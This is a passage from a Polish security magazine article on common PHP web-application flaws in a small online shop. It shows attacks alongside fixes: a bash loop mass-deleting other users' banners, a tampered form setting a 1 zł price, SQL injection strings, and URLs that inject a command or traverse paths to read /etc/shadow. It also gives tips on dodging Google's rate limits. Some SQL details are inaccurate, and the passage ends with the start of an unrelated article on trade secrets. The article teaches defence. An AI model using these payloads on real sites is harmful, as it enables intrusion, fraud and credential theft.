polskim Internecie. Według mnie to już ostatnia 
chwila na wejście w biznes. Niedługo będzie 
ich po prostu za dużo, w związku z czym wielki 
popyt na e-shopping rozłoży się na wiele 
małych serwisików, które w końcu zaczną 
plajtować. Sprawa wygląda dokładnie tak 
samo, jak z rzeczywistymi sklepami. Mniejsi 
handlowcy z trudem walczą o swoje parę 
groszy, podczas gdy supermarkety zbierają 
kokosy. Być może właśnie w tym problem z 
nowymi, dziurawymi e-sklepami – każdy chce 
się wbić w rynek, ale nie ma odpowiedniego 
kapitału, więc np. zleca wykonanie strony 
za marne pieniądze. Wracając do naszego 
przykładu – strona funkcjonuje podobnie, 
jak Allegro – użytkownik wystawia produkt, 
a inni mogą go kupić. Ponadto właściciel 
poprosił o zaimplementowanie systemu 
banerów – za odpowiednią ilość złotówek 
można wykupić pakiet reklam na stronie 
(odnoszących się do produktów znajdujących 

Stopień trudności

Robactwo

w kodzie

Zastanawiałeś się kiedyś, czy kod, który napisałeś, jest 

nieskazitelnie czysty? Czy możesz użyć go na własnej stronie bez 

obawy, że ktoś wykryje lukę i zaatakuje system? Bałeś się , że 

sprzedasz klientowi skrypt, a jakaś osoba włamie się na stronę?

background image

61

 

BŁĘDY W APLIKACJACH PHP

HAKIN9 

4/2008

się w bazie danych). Cały portal opiera 
się na PHP i bazie MySQL. W kolejnej 
części artykułu przedstawione zostaną 
podstawowe błędy popełniane przez 
niedoświadczonych programistów.

Tricki w URLu

Po pierwsze, koderzy mają tendencję 
do nadużywania formularzy GET, co 
prowadzi do stworzenia możliwości 
prostego ataku poprzez modyfikację 
adresu URL. Powiedzmy, że mamy konto 
w sklepie i chcemy wykupić pakiet 1000 
banerów. Możliwa jest opcja uploadu 
własnego obrazka. Najpierw dodajemy 
nasz baner, formularz wygląda tak, jak 
pokazuje Rysunek 1.

Oczywiście, mamy możliwość 

usunięcia tych, a dodania innych 
obrazków. Gdy chcemy usunąć baner, 
klikamy w odpowiedni link. W pasku 
adresu widać http://adres.strony.pl/
banner.php?del=4333
. A więc teraz 
dodajemy kolejny obrazek. O, ale co to? 
Tym razem, gdy chcemy usuwać nasz 
baner, jego ID to już 

4335

 – widocznie 

ktoś międzyczasie dodał swój baner i 
został on zapisany w bazie jako 

4334

. A 

gdyby tak wpisać w pasek adresu http:
//adres.strony.pl/banner.php?del=4334

Komunikat Twój baner (

ID: 4334

został usunięty potwierdza domysły 
– programista nie wziął pod uwagę faktu, 
że należy przed usunięciem baneru 
sprawdzić, czy ID jego właściciela zgadza 
się z identyfikatorem zalogowanego 
użytkownika, przechowywanym 
w superglobalnej zmiennej 

$ _

SESSION['login']. 1:0

 dla nas. Może 

gdyby użyto formularza POST, nikt nie 
pomyślałby, że należy tylko podmienić ID 
w URLu? Bardzo złośliwym posunięciem 
byłoby teraz usunięcie wszystkich 
banerów. Przysporzy to sporo pracy 
administratorom, żeby odtworzyć stronę, 
zdenerwuje klientów, którzy – bądź 
co bądź – zapłacili za reklamę, no i 
oczywiście popsuje opinię sklepu oraz 
właściciela. Wymagane narzędzia ataku? 
Dowolna przeglądarka internetowa, a 
jeśli banerów jest dużo, możemy napisać 
krótki program, który zautomatyzuje 
nasza pracę, np. w bashu linuksowym. 
Spójrzmy na Listing 1.

Oczywiście obrona przed tego typu 

atakiem jest trywialna – w kodzie PHP 

strony wystarczy dodać tylko jeden 
warunek, przedstawiony na Listingu 2.

Zadaniem pokazanej na listingu 

funkcji user(ID) jest zwrócenie loginu 
użytkownika, który jest właścicielem 
banera o danym numerze ID.

Modyfikacja formularza

Drugim częstym błędem jest 
przekazywanie niepotrzebnych 
argumentów w formularzach. I tu już nie 
ma różnicy, czy formularz jest typu GET, 
czy POST (patrz Ramka 2). Tak więc 

Listing 1. 

Zmiana URLa strony w celu usunięcia banerów

#!/bin/bash

for

 i 

in

 `seq 1 100000`

do

touch 

$i

.tmp

links http://adresstrony/banner.php\?del\=

$i

 > 

$i

.tmp

echo „Baner 

$i

 usuniety”

done

 

exit 0

Listing 2. 

Warunek sprawdzający, chroniący przed nieautoryzowanym usuwaniem 

banerów

if

(

$_SESSION

[

'login'

]

==user

(

$_POST

[

'del'

])

{

 // tu kod, który usuwa baner

}

Listing 3. 

Kod źródłowy formularza zamawiania banerów

<

form action=”banner.php” method=”post”

>

Cena za 1 baner to 1 grosz. 

<

br

>

Wybierz, jaki pakiet banerów chcesz kupić: 

<

br

>

<

select name=”ile”

>

<

option

>

 100 

<

/option

>

<

option

>

 1000 

<

/option

>

<

option

>

 5000 

<

/option

>

<

option

>

 10000 

<

/option

>

<

option

>

 20000 

<

/option

>

<

option

>

 100000 

<

/option

>

<

/select

>

<

br

>

 Cena, jaką zapłacisz, to:

<

br

>

 

<

input type=”text” name=”cena” disabled=”true”

>

<

/form

>

Rysunek 1. 

Wygląd formularza w przeglądarce.

background image

OBRONA

62

 

HAKIN9 4/2008

BŁĘDY W APLIKACJACH PHP

63

 

HAKIN9 

4/2008

– dodaliśmy już nasz obrazek, teraz czas 
na wykupienie (oczywiście drogiego, a 
jakżeby inaczej) pakietu reklam. W tabeli 
MySQL prawdopodobnie przechowywane 
są następujące dane – ID pakietu, 
ilość wykupionych banerów, ilość już 
wyświetlonych oraz cena. Kupując banery, 
wypełniamy prosty formularz z jednym 
polem, oznaczającym ilość wyświetleń 
banerów, które chcemy umieścić na 
stronie.

Spoglądamy w kod źródłowy pliku 

(Listing 3.).

Z listy wybieramy ilość pakietów, 

automatycznie poniżej w polu cena 
wyświetla się koszt, jaki poniesiemy – do 
jego wyświetlenia posłuży prosty kod 
JavaScript (

document.forms[0].cena.

value=document.forms[0].ile.value
*cena _ za _ pakiet;

). Oczywiście, tego 

pola nie można edytować, bez atrybutu 

disabled=true

 byłoby to zbyt proste. 

Zastosujemy teraz trochę sprytniejszą 
technikę. Kopiujemy źródło formularza, 

wstawiamy na swój serwer i zmieniamy kod 
w sposób przedstawiony na Listingu 4.

Oczywiście, zmodyfikowaliśmy 

wartość atrybutu 

action

 na http:

//adresstrony/banner.php. W polu, 
którego wartość jest oryginalnie 
wyznaczana przy pomocy skryptu JS, 
zmieniamy wartość na symboliczną 
złotówkę. Warto usunąć także sam 
skrypt JS, mógłby on zakłócić pracę tak 
zmodyfikowanego kodu. Wypełniamy 
formularz na naszym serwerze tak, jak 
byśmy to zrobili poprzez stronę sklepu 
i zaglądamy później na swoje wirtualne 
konto, już w sklepie. Ponownie punkt dla 
nas, programista przekazywał cenę w 
tablicy 

$ _ POST

, zamiast obliczać ją już 

na serwerze, bazując na wartościach 
pozostałych pól.

Obrona w najprostszym wypadku 

polegałaby na dodaniu w skrypcie 
akceptującym zamówienie banerów 
warunku sprawdzającego, czy ilość 
banerów pomnożona przez cenę 

za pakiet daje wynik równy wartości 
przekazanej w zmiennej cena (pokazuje 
to Listing 5).

Javascript –

dodatek, nie podstawa!

Trzecia istotna kwestia – wykonywanie 
ważnych operacji za pośrednictwem 
kodu JavaScript może ułatwić atak. W 
naszym sklepie dodajemy produkty, 
rejestrujemy się bądź kupujemy banery. 
Często w polach formularza należy 
wpisać jakieś dane, zwykle określonego 
typu. Załóżmy, że musimy podać numer 
telefonu stacjonarnego w Polsce. 
Wpisujemy go w postaci 

KKXXXXXXX

gdzie 

K

 – to numer kierunkowy, a 

X

 

– cyfra. Po wpisaniu ostatniej cyfry, gdy 
pole zawiera 9 znaków, wykonywana jest 
pewna funkcja JS, np. 

CheckNumber(

document.forms[0].telefon.value
);

. Jeżeli pole nie zawiera samych cyfr, 

funkcja ustawia zmienną 

documents.forms[0].ok.value 
(hidden)

 na 

0

 (nie pozwoli ona przejść 

dalej w formularzu), w przeciwnym 
razie pozostawia kontrolki bez zmian i 
wyświetla dla wiadomości użytkownika 
obok pola zielonego ptaszka (OK) bądź 
czerwony krzyżyk (błąd). Co można 
tutaj zrobić? Patrzymy w kod źródłowy i 
analizujemy linijki pokazane na Listingu 6.

Wpisujemy w formularzu błędny 

numer. Kiedy pojawi się krzyżyk 
– możemy po prostu wpisać w okno 
przeglądarki (najlepiej Firefox, tam na 
pewno działa) poprawny numer:

javascript:CheckNumber(123456789);

Innym sposobem jest obejście 
sprawdzania poprzez wpisanie: 

javascript:document.forms[0].ok.value=1;

Co to spowoduje? W obu przypadkach 
efektem będzie ustawienie zmiennej 
ok na 1, ponadto w drugim przypadku 
nie pojawi się zielony ptaszek. Całość 
pozwoli na wysłanie formularza z 
fałszywym numerem telefonu. Z 
pewnością bardziej interesujący będzie 
praktyczny przykład. Załóżmy, że 
chcemy zagrać w brydża na serwisie 
kurnik.pl – niestety, akurat pokój, w 
którym gra nasz przyjaciel, jest już 

Listing 4. 

Modyfikacja formularza POST

<

form action=”http://adresstrony/banner.php” method=”post”

>

Cena za 1 baner to 1 grosz. 

<

br

>

Wybierz, jaki pakiet banerów chcesz kupić: 

<

br

>

<

select name=”ile”

>

<

option

>

 100 

<

/option

>

<

option

>

 1000 

<

/option

>

<

option

>

 5000 

<

/option

>

<

option

>

 10000 

<

/option

>

<

option

>

 20000 

<

/option

>

<

option

>

 100000 

<

/option

>

<

/select

>

<

br

>

 Cena, jaką zapłacisz, to:

<

br

>

 

<

input type=”text” name=”cena” disabled=”true” value=”1”

>

<

/form

>

Listing 5. 

Warunek sprawdzający poprawność zmiennej cena

if

(

$_POST

[

'cena'

]

==

(

$_POST

[

'ile'

])

*

$cenazapakiet

)

 

{

// tu kod odpowiedzialny za dodanie baneru

}

Hakerów ze względu na etykę dzielimy na 3 grupy:

•   black hats: ludzie niedzielący się zdobytą wiedzą z innymi, nie publikują odkrytych luk, działają 

najczęściej poza granicami prawa,

•   white hats : ludzie, którzy chętnie pomagają innym, o odkrytych lukach informują 

administratorów, nie udostępniają bezpośrednio sposobu na włamanie, wśród nich często 
można znaleźć informatyków, którzy zajmują się bezpieczeństwem IT,

•   grey hats : ludzie, których trudno jednoznacznie przypisać do którejś z powyższych grup.  

background image

OBRONA

62

 

HAKIN9 4/2008

BŁĘDY W APLIKACJACH PHP

63

 

HAKIN9 

4/2008

przepełniony i jego nazwa przestała być 
aktywnym hiperłączem. Jaki problem 
stanowi najechanie myszką na inny 
pokój, skopiowanie do pasku adresu 
kodu JavaScript i zmiana parametru 
– nazwy pokoju? Nie zarzucam niczego 
autorowi skryptu – jeżeli chcemy zagrać 
z przyjacielem, możemy kulturalnie 
otworzyć jego profil i wejść do pokoju, 
w którym akurat jest. Bądź co bądź, jest 
to jednak pewien sposób na obejście 
blokady i przeciążenie serwera.

Jak się przed tym obronić? Unikajmy 

pisania takich funkcji w JS. Podstawową 
wadą skryptów JS jest oczywiście 
jawność kodu, której pozbywamy się 
używając PHP. Ponadto funkcji PHP 
nie wywołamy z okna przeglądarki. 
Kod pisany w JS nazywamy 

client-

side

 – wykonywany po stronie klienta 

(czyli przeglądarki), natomiast kod 
PHP – 

server-side

 – wykonywany 

jest na serwerze, co znacznie utrudnia 
znajdywanie luk.

Jeden 

problem to nie problem

Problemy podczas rejestracji to dość 
częste zjawisko. Bardzo łatwo można 
uprzykrzyć życie administratorowi. Jeżeli 
witryna nie wykorzystuje np. obrazka z 
kodem weryfikującym, możemy napisać 
bota (czasem wystarczy odpowiednią 
ilość razy odpalić spreparowany 
formularz), który zarejestruje fikcyjnych 
użytkowników z nieprawidłowymi 
adresami e-mail. Wynik jest łatwy do 
przewidzenia: baza MySQL zapchana 
tysiącami rekordów. Spowolnienie 
działania skryptów. Na skrzynkę roota 
trafiają setki maili od mailer-demona, że 
listy do zarejestrowanych użytkowników 
nie dochodzą. Co więcej, trudno takie 
coś nazwać spamem – w końcu serwer 
sam wysyła pocztę. Jak temu zapobiec? 
Stworzenie obrazka zawierającego 
kod weryfikujący, który trzeba podać 
w formularzu oraz blokowanie kilku 
rejestracji pod rząd z jednego adresu 
IP powinny wystarczyć. Jeżeli haker 
użyje programu OCR (ang. Optical 
Character Recognition
), rozpoznającego 
tekst zapisany w formie graficznej, albo 
będzie zmieniał szybko IP, to już będzie 
poważniejsza sprawa i obrona okaże się 
znacznie trudniejsza.

SQL injection – standard

Często w portalach czy sklepach 
udostępniamy funkcję Szukaj na stronie
Oczywiście, skrypt ten przekazuje 
zapytanie do bazy danych MySQL 
i zwraca odpowiednie wyniki. Przy 
połączeniach z bazą należy zwracać 
szczególną uwagę na bezpieczeństwo. 
Podstawowy błąd to umożliwienie 
przeprowadzenia ataku tzw. SQL 
Injection. Jeżeli pozwolimy na używanie 
znaków typu '!@#$%^&*()~\/|=><.,;: , bardzo 
prawdopodobne, że haker użyje ich do 
ataku. Powiedzmy, że haker domyśla 
się sposobu przerabiania pola Szukaj 
na zapytanie do bazy i zamiast nazwa_
użytkownika wpisze:

nazwa_użytkownika”; SELECT * FROM
 'users';

Skrypt działa prawdopodobnie tak: 
wysyła zapytanie do bazy 

SELECT 

'users' WHERE nazwa LIKE

 

„[tu 

skrypt kopiuje zawartość pola 
szukaj];

 , zapisuje je w jakiejś tablicy 

i drukuje w odpowiedniej tabeli. Jeżeli 
hakerowi się poszczęści, uzyskuje on 

dane użytkowników i ich hasła. Dlaczego? 
Ponieważ wymusił wykonanie innego 
zapytania, które wypisało zawartość 
tabeli users z bazy danych. Sytuacja 
wygląda podobnie, gdy mamy zapytanie 
postaci:

SELECT * FROM 'users' WHERE 
login=$login AND pass=$pass;

w polu login wpisujemy 

admin; ~

. Tylda 

(

~

) jest w języku SQL oznaczeniem 

komentarza – wszystkie występujące 
po nim komendy nie będą wykonywane. 
W tym przypadku zostanie pominięta 
druga część zapytania związana z 
hasłem. Bardzo popularne jest również 
wstrzyknięcie kodu 

' OR 1=1;~~

. Tak 

zmodyfikowane zapytanie wypisuje z 
konkretnej tabeli wszystkie rekordy – 
który bowiem który z nich jest niezgodny 
z warunkiem 

1=1

? Jak się obronić przed 

tym atakiem? Przede wszystkim należy 
stosować funkcję 

addslashes()

, która 

doda do potencjalnie niebezpiecznych 
znaków slash ( 

\

 ). Możemy też stworzyć 

klasę czy funkcję, która np. pobierając 
na wejściu trzy argumenty sprawdzi, 

Listing 6. 

Fragment kodu strony odpowiedzialny za analizę numeru telefonu

CheckNumber(number)

{

if

(length(number)!

=

9

) document.forms[

0

].ok.value

=

0

;

if

(!is_numeric(number)) document.forms[

0

].ok.value

=

0

;

WyswietlPtaszkaBadzKrzyzyk(numer)

;

}

Listing 7. 

Sprawdzenie, czy zmienna liczbowa ma poprawny format

if

(

is_numeric

(

$id

))

{

// tu kod odpowiadający za wybranie produktu

}

Listing 8. 

Usprawnienie algorytmu MD5 – zastosowanie soli

moje_md5

(

$string

)

{

 

$string1

=

$string

.”sol123!

@#

”;

return

 

md5

(

$string1

)

}

Typy formularzy

GET umieszcza zmienne w pasku adresu, co ładnie prezentuje linki i pozwala na łatwą 
i bezpośrednią zmianę tych danych. POST przesyła informacje przez przeglądarkę internetową 
i uniemożliwia przesłanie linku z konkretnymi danymi, można dopiero je zmienić w formularzu.

background image

OBRONA

64

 

HAKIN9 4/2008

BŁĘDY W APLIKACJACH PHP

65

 

HAKIN9 

4/2008

czy nie zawierają one niebezpiecznych 
znaków i przerobi na zapytanie do 
bazy danych (np. 

Sql::cmd('select', 

'produkty', 'id=”'.$id.'”'

);). Jeżeli 

mamy wykonać zapytanie typu 

SELECT 

* FROM PRODUKTY WHERE id=” 
$id”

, warto wcześniej sprawdzić, czy 

parametr funkcji jest rzeczywiście liczbą 
– przykładowy kod weryfikujący znajduje 
się na Listingu 7. Analogicznie postąpić 
można z loginem (np. sprawdzając, czy 
zawiera tylko litery i cyfry, ewentualnie 
dopuszczalne znaki specjalne).

Passy bezpieczeństwa

Jeszcze jeden niezwykle istotny 
element to hasła. W żadnym wypadku 
nie można przechowywać ich w bazie 
w czystej postaci (ang. plaintext). 
Dzisiejszym standardem jest – mimo 
znanych słabości – algorytm haszujący 
MD5. Polecam jednak zastosowanie 
dodatkowego mechanizmu tzw. soli 
(ang. salt) – losowego ciągu znaków 

dodawanego na początku lub końcu 
danego wyrazu przed haszowaniem 
– utrudnia to ataki bruteforce i 
rainbowcrack, z predefiniowaną tablicą 
deszyfrującą). Przykład zastosowania 
soli zawarto w kodzie znajdującym się 
na Listingu 8.

Dlaczego powinno się stosować 

takie dodatkowe zabezpieczenia? 
Sporo słyszeliśmy o projektach 
typu rainbowcrack. Jak dla mnie, 
hasła poniżej 13 znaków są w MD5 
po prostu zbyt łatwe do złamania. 
Dobrym pomysłem jest również 
zamiana na 'porządniejszy' algorytm 
– choćby SHA2, czy Blowfish. Także 
do nich można dołożyć własną 
modyfikację – na przykład sól. 
Pamiętajmy, że podstawowym 
obowiązkiem administratora jest 
dbanie o bezpieczeństwo klientów. 
Jeśli umożliwimy przejęcie haseł przez 
kogoś obcego – na pewno wpłynie to 
negatywnie na statystyki oglądalności 

strony, nie mówiąc o możliwych 
kłopotach innego rodzaju.

System zostawmy w spokoju

W żadnym wypadku nie wywołujmy 
poleceń systemowych poprzez PHP. 
Słyszałem kiedyś o pomyśle napisania 
demona w PHP, który miałby wykonywać 
określone działania co zdefiniowaną 
liczbę sekund. Powiedzmy, że wyglądało 
to tak: 

$sekundy=$_POST['sek']; while(true) 
{ system(„sleep „.$sekundy.”); coś(); }. 

Zmienne w PHP najczęściej nie mają 
zdefiniowanego typu. Napastnik 
zawsze mógłby zrobić coś, co 
nazwałbym PHP Injection, i wywołać 
stronę z parametrem w URL 
podobnym do ?sekundy=5;cat%20/
etc/shadow%20>%20/var/www/html/
index.html
. Jeżeli już skrypt potrzebuje 
dostępu do polecenia systemowego, 
należy to odpowiednio zabezpieczyć. W 
tym przypadku proponuję zrobić coś, 
co znajduje się na Listingu 9. Warto 
zapoznać się również z funkcjami języka 
PHP, takimi jak 

escapeshellarg()

 czy 

escapeshellcmd()

.

Łatwo wyobrazić sobie następującą 

sytuację – skrypt PHP odpowiada za 
wyświetlanie newsów, które na serwerze 
są umieszczane w postaci plików o 
nazwach np. 20010504.txt. Linki do 
artykułów bazują na formularzu GET w 
postaci http://adresstrony/show.php?fil
e=20010504.txt
. Czy wywołanie newsa 
o takiej nazwie jest trudne: http://
adresstrony/show.php?file=/etc/shadow?
 
Oczywiście należy ograniczyć dostęp 
funkcjom czytającym pliki jedynie do 
wskazanego katalogu.

Mówiąc o systemie, należy 

wspomnieć o połączeniu aplikacji 
internetowej napisanej w PHP z bazą 
danych, np. MySQL. Zazwyczaj piszemy 
wtedy plik config.php, który musi być 
włączony do każdego pliku w naszej 
aplikacji otwierającego połączenie z 
bazą. W tym pliku znajdują się bardzo 
ważne dane, jak nazwa użytkownika, 
nazwa bazy danych i hasło. Jeżeli 
na naszym serwerze udostępniamy 
miejsce komuś innemu (a często 
tak jest na serwerach uczelnianych, 

Listing 9. 

Zabezpieczenie przed zdalnym wykonaniem kodu

if

(

is_numeric

(

$sekundy

))

{

// tu funkcja 

}

Listing 10. 

Skrypt służący do automatycznego tworzenia zapytań

#!/bin/bash

TAB

=(a b c d e f g h i j k l m n o p q r s t u v w x y z 0 1 2 3 4 5 6 7 8 9)

for

 j 

in

 `seq 0 35`

do

for

 i 

in

 `seq 0 35`

do

touch ${TAB[

$j

]}${TAB[

$i

]}.tmp

links http://adresstrony/szukaj.php?

query

=${TAB[

$j

]}${TAB[

$i

]} > 

${TAB[

$j

]}${TAB[

$i

]}.tmp

done

done

 

exit 0

Projekt rainbowrack

Projekt rainbowrack – tworzenie tablic (tzw. Tęczowych), które pozwalają na odwrócenie jednostronnej 
funkcji MD5 i podobnych, bazując na algorytmie przyśpieszającym ten proces. Tablica dotyczy 
konkretnego zestawu znaków do ograniczonej długości hasza. Jeżeli wiele osób wygeneruje małe 
cząstki tablicy, można je zebrać razem i stworzyć wielką tablice odwracającą algorytm haszujący. 
Projekt rainbowcrack można znaleźć w Sieci pod adresem http://www.antsight.com/zsl/rainbowcrack, a 
popularne zestawy tablic – http://www.milw0rm.com/cracker oraz http://rainbowcrack.com.

background image

OBRONA

64

 

HAKIN9 4/2008

BŁĘDY W APLIKACJACH PHP

65

 

HAKIN9 

4/2008

szkolnych, firmowych), należy zadbać o 
odpowiednie prawa dostępu do pliku. 
Najlepiej CHMOD 640 – zapis i odczyt 
dla właściciela, odczyt dla serwera oraz 
żadnych praw dla innych użytkowników!

Bazy danych

Abstrahując od sklepu – załóżmy, że 
prowadzimy pewien katalog. Może być 
to dowolny zbiór – np. firm w Polsce 
zajmujących się wyrobem cukierków, 
lista nazwisk, lista linków do stron. 
Cokolwiek to nie jest – publikując, 
zadbajmy o to, żebyśmy nie łamali 
prawa. A teraz sprawa techniczna. Jak 
uniknąć sytuacji, w której ktoś bezczelnie 
skopiował nasze dane i opublikował je 
na swojej stronie? Oglądalność naszej 
witryny najprawdopodobniej by zmalała, 
co spowodowałoby np. zmniejszenie 
zysków z reklam na stronie. Podzielenie 
listy na parę/set/tysięcy stron jest 
pewnym pomysłem – aczkolwiek broni 
jedynie przed laikami, którzy korzystają z 
metod Copy'ego-Paste'a. Obrona w tym 
przypadku jest bardzo skomplikowana 
– można dodawać w źródle ukryte 
znaki, które wyjdą na jaw dopiero 
przy kopiowaniu i zepsują listę. Można 
ograniczać ilość zapytań z jednego 
adresu IP, czy nawet blokować podobne 
zapytania z kilku IP. Przejście do kolejnej 
strony można zrealizować w JavaScript. 
Sprawa z pewnością nie jest prosta. 
Jeżeli udostępniamy funkcję Szukaj i 
przekazujemy parametr przez formularz 
GET, przygotujmy się na sytuację, 
w której haker napisze krótki skrypt, 
wyglądający np. tak, jak na Listingu 10.

Wtedy blokujmy jego IP np. po 100 

zapytaniach albo po 50 zapytaniach, 
które różnią się tylko o jeden znak.

Co dzieje się, jeśli szukamy danych 

Google? Strona google.pl blokuje IP 
po średnio 300 zapytaniach na jedna 
godzinę. Daje to ok. 300 000 wyników 
(z jednego zapytania wyciągniemy 
tylko 1000 wyników). Jednak serwery 
google.com są niezależne od tych z 
Polski – tam również możemy wykonać 
300 zapytań. Podobnie google.de, 
google.it
 i tak dalej – a za godzinę 
wracamy i rozpoczynamy wszystko 
od początku. Domen krajowych 
Google ma ok. 150 (nie wszystkie są 
na różnych serwerach), ich adresy 

znajdziemy na: http://www.google.pl/
language_tools?hl=pl
 . W tym przypadku 
wystarczy wiec napisać kod, który różni 
się od przedstawionego na Listingu 
10
 tym, że co 300 zapytań zmienia 
końcówkę adresu, czyli links http:
//google.${DOMENA[$z]}/?q=......
 gdzie 
tablica DOMENA zawiera wpisy np. pl us 
it fr de

Jeżeli już o przeciążeniach mowa. 

Z całym szacunkiem – ale co to za 
firma, która swoją stronę internetową 
umieszcza na którymś z darmowych 
serwerów? Wykonanie paru tysięcy 
odświeżeń nie wymaga nawet pisania 
programu, wystarczy w Operze 
bądź Firefoksie otworzyć kilkanaście 
zakładek i ustawić odświeżanie np. 
co 30 sekund. Bandwidth – czyli limit 
(np. miesięczny) danych przesyłanych 
przez serwer – od razu zostaje 
przekroczony, a strona zawieszona. 
Nie jest to zmora tylko darmowych 
serwerów – nawet na płatnych, jeżeli 
nie zablokujemy konkretnego IP po np. 
tysiącu napływających z niego żądań 
wyświetlenia strony, parę GB transferu 
nietrudno zużyć przez jedną noc. 

Socjotechniki

Akapit ten nie dotyczy już bezpośrednio 
kodu stron internetowych, ale haseł, 
które chronią dostępu do witryn. Nie 
chcę tu mówić o zasadach tworzenia 
haseł – 3 klasy znaków, długość co 
najmniej 10 znaków itp. – a raczej o 
częstotliwości ich zmieniania oraz samej 
treści. Powiedzmy, że interesujemy się 
łodziami podwodnymi oraz II wojną 
światową. Wymyślając parę lat temu 
hasło akurat wpadliśmy na orpdzik39
Udzielając się na forach internetowych, 
wiele razy wspominaliśmy o naszych 
zainteresowaniach. Taktyki hakerskie 
nie polegają tylko na włamywaniu się 
na komputery czy strony internetowe. 
To również poznawanie ofiary. Osoba, 
która zna tylko nasz adres email, może 
szybko znaleźć wiele innych informacji. 
Google nie pokazuje tylko aktywnych 
stron, ale posiada również archiwum 
dostępne przy wynikach jako kopia
Potężne archiwum Internetu znajduję się 
na http://web.archive.org. Haker poznaje 
naszą psychikę i zainteresowania, tworzy 
listę wyrazów związanych z nami w jakiś 

sposób i dokonuje ataku słownikowego. 
Statystyki mówią, że hasła obecnie są 
najczęściej składają się z 6-9 małych 
liter, na końcu znajdują się zwykle dwie, 
rzadziej jedna cyfra. Bardzo rzadko 
hasła są dłuższe niż 12 znaków. Jeżeli 
haker odgadnie hasło, znajdziemy się 
w bardzo niemiłej sytuacji – może on 
np. przeglądać naszą korespondencję 
właściwie bez naszej wiedzy. Jak 
się obronić? Nie jest to proste w 
zastosowaniu – należy często zmieniać 
hasła i w żadnym wypadku nie używać 
tego samego na dwóch kontach. A 
samo hasło nie powinno być jakkolwiek 
z nami kojarzone – najlepiej, gdyby 
było przypadkowym ciągiem znaków. 
Wtedy metoda słownikowa na nic się nie 
przyda, a jeżeli hasło jest dostatecznie 
długie, metody brute force staną się 
nieoptymalne czasowo.

Podsumowanie

Rozwój usług internetowych w Polsce 
jest bardzo dynamiczny, ponieważ 
każdy produkt, czy usługa potrzebuje 
reklamy. Pomimo, że na promocję 
w Internecie wydaje się nieznaczny 
procent budżetu firmy (w porównaniu 
do spotów w telewizji, banerów na 
ulicach), jest to dość łatwy sposób na 
wstępne 'rozkręcenie' biznesu. Obecnie 
powstaje ogromna ilość małych firm 
wykonujących strony internetowe, jednak 
nie należy ufać całkowicie komuś 
jedynie dlatego, że wystawia faktury VAT. 
Również takie osoby mogą wykonać 
stronę nieprofesjonalnie i umożliwić 
atak hakerowi. Jeżeli zlecamy wykonanie 
strony – zapytajmy programistę o to, 
czy końcowy skrypt jest dostatecznie 
bezpieczny. Natomiast jeśli to my 
jesteśmy twórcami aplikacji – zawsze 
warto kolejny raz przeczytać kod, 
sprawdzając dogłębnie każdą funkcję, 
niż później tłumaczyć się z dziurawca. W 
tej branży ceni się solidność, a nie czas 
wykonania – w końcu strona internetowa 
ma w zamierzeniu funkcjonować jak 
najdłużej.

Jakub Kałużny

Od kilku lat interesuje się bezpieczeństwem IT, w 

szczególności aplikacji internetowych. Zaangażowany 

w rozwój systemów zarządzania treścią (ang. CMS). 

Fascynuje go kryptografia, jest zapalonym miłośnikiem 

Linuksa.

Kontakt z autorem: gadulix@gmail.com

background image

66

 

BEZPIECZNA FIRMA

HAKIN9 4/2008

P

rzepisy prawa nie określają, jak 
należy chronić aktywa informacyjne, 
pozostawiając w tym zakresie pełną 

swobodę przedsiębiorcom co do metod i 
sposobów ich ochrony. 

Ochrona informacji biznesowych 

Jak chronić tajemnice przedsiębiorstwa? 
Informacja odgrywa w naszych czasach coraz 
większa rolę i w funkcjonowaniu przedsiębiorstw 
staje się ważniejsza niż dostęp do kapitału. 
Alvin 
Tofler. 

Współczesny biznes boryka się z 

najróżniejszymi i wciąż mnożącymi się 
zagrożeniami. Przetwarzanie coraz większej 
ilości informacji w sposób elektroniczny, w 
systemach informatycznych, powoduje, że 
biznes tradycyjny staje się e-biznesem. Ryzyko 
związane z pracą w sieciach komputerowych, 
a w szczególności prowadzenie działalności 
gospodarczej za pośrednictwem Internetu 
sprawia, że zagadnienie ochrony informacji 
biznesowych nabiera nowego wymiaru. 
Powstaje pytanie, jak przedsiębiorcy mają 
chronić swoje tajemnice i informacje biznesowe 
posiadające wartość gospodarczą.

Tajemnica przedsiębiorstwa 

Z pomocą przychodzi nam instytucja 
tajemnicy przedsiębiorstwa. Stanowi ona, 
zgodnie z art. 551 kodeksu cywilnego, jeden z 
najistotniejszych składników przedsiębiorstwa. 

ANDRZEJ GUZIK

Z ARTYKUŁU 

DOWIESZ SIĘ

jak zapewnić ochronę 

informacjom biznesowym, 

jakie zastosować najlepsze 

praktyki 

i standardy ochrony.

CO POWINIENEŚ 

WIEDZIEĆ

znać podstawowe zasady 

ochrony informacji.

Art. 11 ust. 4 ustawy o zwalczaniu nieuczciwej 
konkurencji
 definiuje pojęcie tajemnicy 
przedsiębiorstwa. Pod pojęciem tajemnicy 
przedsiębiorstwa należy rozumieć nieujawnione 
do wiadomości publicznej informacje: 
techniczne, technologiczne, organizacyjne 
przedsiębiorstwa lub inne informacje 
posiadające wartość gospodarczą, co do 
których przedsiębiorca podjął niezbędne 
działania w celu zachowania ich poufności. 
Należy nadmienić, że wszystkie powyższe 
warunki muszą być spełnione łącznie. 
Wówczas dopiero możemy mówić o tajemnicy 
przedsiębiorstwa czy tajemnicy przedsiębiorcy. 
Z definicji tajemnicy przedsiębiorstwa wynika, 
że przedsiębiorca w celu zachowania tajemnicy 
musi podjąć tzw. niezbędne działania. W 
literaturze przedmiotu za niezbędne działania 
uznaje się w szczególności: określenie 
typów i rodzajów informacji wewnętrznych 
przedsiębiorstwa stanowiących tajemnicę, 
zasady i procedury postępowania z 
tajemnicą, określenie obowiązku szkolenia, 
określenie obowiązku złożenia oświadczenia 
o znajomości zasad i przepisów tyczących się 
tajemnicy przedsiębiorstwa oraz zobowiązanie 
do ich przestrzegania.

W celu ochrony informacji biznesowych 

stanowiących tajemnicę przedsiębiorstwa 
dokumenty zawierające informację i nośniki 
informacji oznacza się stosowną klauzulą, 
a ich obieg powinien być nadzorowany 

Stopień trudności

Ochrona 

informacji 

biznesowych

Spośród wszystkich tajemnic prawnie chronionych najbardziej 

powszechny charakter w życiu gospodarczym ma tajemnica 

przedsiębiorstwa, gdyż dotyczy wszystkich przedsiębiorców. 

Instytucja tajemnicy przedsiębiorstwa służy ochronie zasobów 

niematerialnych firmy. 

background image

67

 

OCHRONA INFORMACJI BIZNESOWYCH

HAKIN9 

4/2008

(kontrolowany) zgodnie z zasadą 
rozliczalności. Polskie przedsiębiorstwa 
stosują następujące oznaczenia 
(klauzule): tajemnica firmy, tajemnica 
